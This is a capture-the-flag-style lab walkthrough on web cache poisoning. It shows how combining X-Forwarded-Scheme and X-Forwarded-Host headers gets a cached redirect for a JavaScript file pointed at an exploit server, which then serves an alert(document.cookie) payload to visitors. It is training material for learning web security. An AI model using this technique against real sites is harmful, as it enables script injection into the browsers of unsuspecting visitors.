Web cache poisoning with multiple headers

Description

This lab contains a web cache poisoning vulnerability that is only exploitable when you use multiple headers to craft a malicious request. A user visits the home page roughly once a minute.

Reproduction and proof of concept

  1. With Burp running, load the website’s home page.

  2. Go to Proxy -> HTTP history and study the requests and responses generated. Find the GET request for the JavaScript file /resources/js/tracking.js and send it to Burp Repeater.

  3. Add a cache-buster query parameter, such as ?cb=1234, and the X-Forwarded-Host header with an arbitrary hostname, such as example.com. This does not seem to have any effect on the response.

  4. Remove the X-Forwarded-Host header and add the X-Forwarded-Scheme header instead. Including any value other than HTTPS, the result is a 302 response. The Location header shows redirection to the same URL as requested, but using https://.

  5. Add the X-Forwarded-Host: example.com header back to the request, but keep X-Forwarded-Scheme: nothttps as well. Send this request and notice that the Location header of the 302 redirect now points to https://example.com/.

HTTP/1.1 302 Found
Location: https://example.com/?cb=1234
Cache-Control: max-age=30
Age: 3
X-Cache: hit
Connection: close
Content-Length: 0

  1. Go to the exploit server and change the file name to match the path used by the vulnerable response:

/resources/js/tracking.js

  1. In the body, enter the payload alert(document.cookie) and store the exploit.

  2. Go back to the request in Burp Repeater and set the X-Forwarded-Host header as follows, remembering to enter your own exploit server ID:

X-Forwarded-Host: exploit-0aa200fc046815d2c11220f0016c0089.exploit-server.net

  1. Make sure the X-Forwarded-Scheme header is set to anything other than HTTPS.

  2. Send the request until you see the exploit server URL reflected in the response and X-Cache: hit in the headers.

  3. To check that the response was cached correctly, right-click on the request in Burp, select Copy URL, and load the copied URL in the browser. If the cache was successfully poisoned, you will see the script containing the payload, alert(document.cookie) (The alert() won’t actually execute here).

  4. Go back to Burp Repeater, remove the cache buster, and resend the request until the cache is poisoned again.

  5. To simulate the victim, reload the home page in your browser and make sure that the alert() fires.

  6. Keep replaying the request to keep the cache poisoned until the victim visits the site and the lab is solved.

Web cache poisoning

Exploitability

An attacker will need to poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.